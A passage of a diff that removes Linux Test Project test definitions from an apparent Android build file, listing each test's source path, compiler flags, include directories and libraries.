-    srcs: ["testcases/kernel/syscalls/waitpid/waitpid10.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_fcntl28",
-    stem: "fcntl28",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/fcntl/fcntl28.c"],
-    cflags: [
-        "-D_FORTIFY_SOURCE=2",
-        "-D_GNU_SOURCE",
-    ],
-    local_include_dirs: [
-        "testcases/kernel/syscalls/fcntl",
-        "testcases/kernel/syscalls/utils",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_mknod07",
-    stem: "mknod07",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/mknod/mknod07.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_set_robust_list01",
-    stem: "set_robust_list01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/set_robust_list/set_robust_list01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_tst_tmpdir_test",
-    stem: "tst_tmpdir_test",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["lib/tests/tst_tmpdir_test.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_inotify02",
-    stem: "inotify02",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/inotify/inotify02.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_lseek01",
-    stem: "lseek01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/lseek/lseek01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_sendfile08",
-    stem: "sendfile08",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/sendfile/sendfile08.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: [
-        "testcases/kernel/syscalls/sendfile",
-        "testcases/kernel/syscalls/utils",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_gentan",
-    stem: "gentan",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/misc/math/float/trigo/gentan.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-}
-
-cc_test {
-    name: "ltp_lseek02",
-    stem: "lseek02",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/lseek/lseek02.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_epoll-ltp",
-    stem: "epoll-ltp",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/epoll/epoll-ltp.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_in",
-    stem: "in",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/commands/file/datafiles/in.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-}
-
-cc_test {
-    name: "ltp_lseek07",
-    stem: "lseek07",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/lseek/lseek07.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_fcntl27",
-    stem: "fcntl27",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/fcntl/fcntl27.c"],
-    cflags: [
-        "-D_FORTIFY_SOURCE=2",
-        "-D_GNU_SOURCE",
-    ],
-    local_include_dirs: [
-        "testcases/kernel/syscalls/fcntl",
-        "testcases/kernel/syscalls/utils",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_sendfile03",
-    stem: "sendfile03",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/sendfile/sendfile03.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: [
-        "testcases/kernel/syscalls/sendfile",
-        "testcases/kernel/syscalls/utils",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_cve-2017-2618",
-    stem: "cve-2017-2618",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/cve/cve-2017-2618.c"],
-    cflags: [
-        "-D_GNU_SOURCE",
-        "-D_FORTIFY_SOURCE=2",
-    ],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_sendfile05",
-    stem: "sendfile05",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/sendfile/sendfile05.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: [
-        "testcases/kernel/syscalls/sendfile",
-        "testcases/kernel/syscalls/utils",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_sendfile04",
-    stem: "sendfile04",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/sendfile/sendfile04.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: [
-        "testcases/kernel/syscalls/sendfile",
-        "testcases/kernel/syscalls/utils",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_sendfile07",
-    stem: "sendfile07",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/sendfile/sendfile07.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: [
-        "testcases/kernel/syscalls/sendfile",
-        "testcases/kernel/syscalls/utils",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_sendfile06",
-    stem: "sendfile06",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/sendfile/sendfile06.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: [
-        "testcases/kernel/syscalls/sendfile",
-        "testcases/kernel/syscalls/utils",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_signal05",
-    stem: "signal05",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/signal/signal05.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_memcg_test_1",
-    stem: "memcg_test_1",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/controllers/memcg/regression/memcg_test_1.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: [
-        "testcases/kernel/controllers/libcontrollers",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_smack_notroot",
-    stem: "smack_notroot",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/security/smack/smack_notroot.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_open14",
-    stem: "open14",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/open/open14.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_mmap-corruption01",
-    stem: "mmap-corruption01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/mem/mmapstress/mmap-corruption01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_open13",
-    stem: "open13",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/open/open13.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_open10",
-    stem: "open10",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/open/open10.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_open11",
-    stem: "open11",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/open/open11.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_fcntl26",
-    stem: "fcntl26",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/fcntl/fcntl26.c"],
-    cflags: [
-        "-D_FORTIFY_SOURCE=2",
-        "-D_GNU_SOURCE",
-    ],
-    local_include_dirs: [
-        "testcases/kernel/syscalls/fcntl",
-        "testcases/kernel/syscalls/utils",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_sched_getaffinity01",
-    stem: "sched_getaffinity01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/sched_getaffinity/sched_getaffinity01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_in6_02",
-    stem: "in6_02",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/network/lib6/in6_02.c"],
-    cflags: [
-        "-D_FORTIFY_SOURCE=2",
-        "-D_GNU_SOURCE",
-    ],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_getcwd01",
-    stem: "getcwd01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/getcwd/getcwd01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_getcwd03",
-    stem: "getcwd03",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/getcwd/getcwd03.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_getcwd02",
-    stem: "getcwd02",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/getcwd/getcwd02.c"],
-    cflags: [
-        "-D_FORTIFY_SOURCE=2",
-        "-U_FORTIFY_SOURCE",
-    ],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_tst_net_ip_prefix",
-    stem: "tst_net_ip_prefix",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/lib/tst_net_ip_prefix.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_timerfd_settime01",
-    stem: "timerfd_settime01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/timerfd/timerfd_settime01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_hugemmap02",
-    stem: "hugemmap02",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/mem/hugetlb/hugemmap/hugemmap02.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: [
-        "testcases/kernel/mem/include",
-        "testcases/kernel/mem/hugetlb/lib",
-        "testcases/kernel/include",
-        "include/old",
-    ],
-    static_libs: [
-        "libltp_mem",
-        "libltp_kerntest",
-        "libltp_hugetlb",
-        "libltp_ltp",
-    ],
-}
-
-cc_test {
-    name: "ltp_recvmsg01",
-    stem: "recvmsg01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/recvmsg/recvmsg01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: [
-        "testcases/kernel/syscalls/utils",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_recvmsg03",
-    stem: "recvmsg03",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/recvmsg/recvmsg03.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: [
-        "testcases/kernel/syscalls/utils",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_recvmsg02",
-    stem: "recvmsg02",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/recvmsg/recvmsg02.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: [
-        "testcases/kernel/syscalls/utils",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_mremap01",
-    stem: "mremap01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/mremap/mremap01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: [
-        "testcases/kernel/syscalls/ipc/lib",
-        "include/old",
-    ],
-    static_libs: [
-        "libltp_ipc",
-        "libltp_ltp",
-    ],
-}
-
-cc_test {
-    name: "ltp_ltp_acpi",
-    stem: "ltp_acpi",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/device-drivers/acpi/ltp_acpi.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_sgetmask01",
-    stem: "sgetmask01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/sgetmask/sgetmask01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_mremap02",
-    stem: "mremap02",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/mremap/mremap02.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: [
-        "testcases/kernel/syscalls/ipc/lib",
-        "include/old",
-    ],
-    static_libs: [
-        "libltp_ipc",
-        "libltp_ltp",
-    ],
-}
-
-cc_test {
-    name: "ltp_mremap05",
-    stem: "mremap05",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/mremap/mremap05.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: [
-        "testcases/kernel/syscalls/ipc/lib",
-        "include/old",
-    ],
-    static_libs: [
-        "libltp_ipc",
-        "libltp_ltp",
-    ],
-}
-
-cc_test {
-    name: "ltp_mmap001",
-    stem: "mmap001",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/mmap/mmap001.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_setpgrp01",
-    stem: "setpgrp01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/setpgrp/setpgrp01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_syslog11",
-    stem: "syslog11",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/syslog/syslog11.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_pause01",
-    stem: "pause01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/pause/pause01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_pause03",
-    stem: "pause03",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/pause/pause03.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_pause02",
-    stem: "pause02",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/pause/pause02.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_tomoyo_accept_test",
-    stem: "tomoyo_accept_test",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/security/tomoyo/tomoyo_accept_test.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_mmap14",
-    stem: "mmap14",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/mmap/mmap14.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_mmap15",
-    stem: "mmap15",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/mmap/mmap15.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_mmap16",
-    stem: "mmap16",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/mmap/mmap16.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_mmap10",
-    stem: "mmap10",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/mmap/mmap10.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_mmap11",
-    stem: "mmap11",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/mmap/mmap11.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_mmap12",
-    stem: "mmap12",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/mmap/mmap12.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_mmap13",
-    stem: "mmap13",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/mmap/mmap13.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_sysctl05",
-    stem: "sysctl05",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/sysctl/sysctl05.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_sysctl04",
-    stem: "sysctl04",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/sysctl/sysctl04.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_getresgid02",
-    stem: "getresgid02",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/getresgid/getresgid02.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_check_keepcaps",
-    stem: "check_keepcaps",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/security/securebits/check_keepcaps.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_sysctl03",
-    stem: "sysctl03",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/sysctl/sysctl03.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_getrlimit02",
-    stem: "getrlimit02",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/getrlimit/getrlimit02.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_utimensat01",
-    stem: "utimensat01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/utimensat/utimensat01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_execve02",
-    stem: "execve02",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/execve/execve02.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_ftruncate02",
-    stem: "ftruncate02",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/ftruncate/ftruncate02.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: [
-        "testcases/kernel/syscalls/ftruncate",
-        "testcases/kernel/syscalls/utils",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_execve05",
-    stem: "execve05",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/execve/execve05.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_cap_bounds_r",
-    stem: "cap_bounds_r",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/security/cap_bound/cap_bounds_r.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_cve-2014-0196",
-    stem: "cve-2014-0196",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/cve/cve-2014-0196.c"],
-    cflags: [
-        "-D_GNU_SOURCE",
-        "-D_FORTIFY_SOURCE=2",
-    ],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_clock_getres01",
-    stem: "clock_getres01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/clock_getres/clock_getres01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: [
-        "testcases/kernel/syscalls/utils",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_iogen",
-    stem: "iogen",
-    defaults: ["ltp_test_defaults"],
-    srcs: [
-        "testcases/kernel/fs/doio/iogen.c",
-        "testcases/kernel/fs/doio/dataascii.c",
-        "testcases/kernel/fs/doio/databin.c",
-        "testcases/kernel/fs/doio/file_lock.c",
-        "testcases/kernel/fs/doio/forker.c",
-        "testcases/kernel/fs/doio/open_flags.c",
-        "testcases/kernel/fs/doio/datapid.c",
-        "testcases/kernel/fs/doio/write_log.c",
-        "testcases/kernel/fs/doio/pattern.c",
-        "testcases/kernel/fs/doio/string_to_tokens.c",
-        "testcases/kernel/fs/doio/bytes_by_prefix.c",
-    ],
-    cflags: [
-        "-D_LARGEFILE64_SOURCE",
-        "-D_FORTIFY_SOURCE=2",
-    ],
-    local_include_dirs: [
-        "testcases/kernel/fs/doio/include",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_lgetxattr02",
-    stem: "lgetxattr02",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/lgetxattr/lgetxattr02.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_mprotect01",
-    stem: "mprotect01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/mprotect/mprotect01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_access04",
-    stem: "access04",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/access/access04.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_thp01",
-    stem: "thp01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/mem/thp/thp01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: [
-        "testcases/kernel/mem/include",
-        "testcases/kernel/include",
-        "include/old",
-    ],
-    static_libs: [
-        "libltp_mem",
-        "libltp_kerntest",
-        "libltp_ltp",
-    ],
-}
-
-cc_test {
-    name: "ltp_ltp-diorh",
-    stem: "ltp-diorh",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/io/ltp-aiodio/ltp-diorh.c"],
-    cflags: [
-        "-D_FORTIFY_SOURCE=2",
-        "-DAIO",
-    ],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_epoll_create1_01",
-    stem: "epoll_create1_01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/epoll_create1/epoll_create1_01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_renameat202",
-    stem: "renameat202",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/renameat2/renameat202.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_pwrite04",
-    stem: "pwrite04",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/pwrite/pwrite04.c"],
-    cflags: [
-        "-D_FORTIFY_SOURCE=2",
-        "-Wno-error",
-    ],
-    local_include_dirs: [
-        "testcases/kernel/syscalls/pwrite",
-        "testcases/kernel/syscalls/utils",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_getrandom04",
-    stem: "getrandom04",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/getrandom/getrandom04.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_pwrite02",
-    stem: "pwrite02",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/pwrite/pwrite02.c"],
-    cflags: [
-        "-D_FORTIFY_SOURCE=2",
-        "-Wno-error",
-    ],
-    local_include_dirs: [
-        "testcases/kernel/syscalls/pwrite",
-        "testcases/kernel/syscalls/utils",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_pwrite01",
-    stem: "pwrite01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/pwrite/pwrite01.c"],
-    cflags: [
-        "-D_FORTIFY_SOURCE=2",
-        "-Wno-error",
-    ],
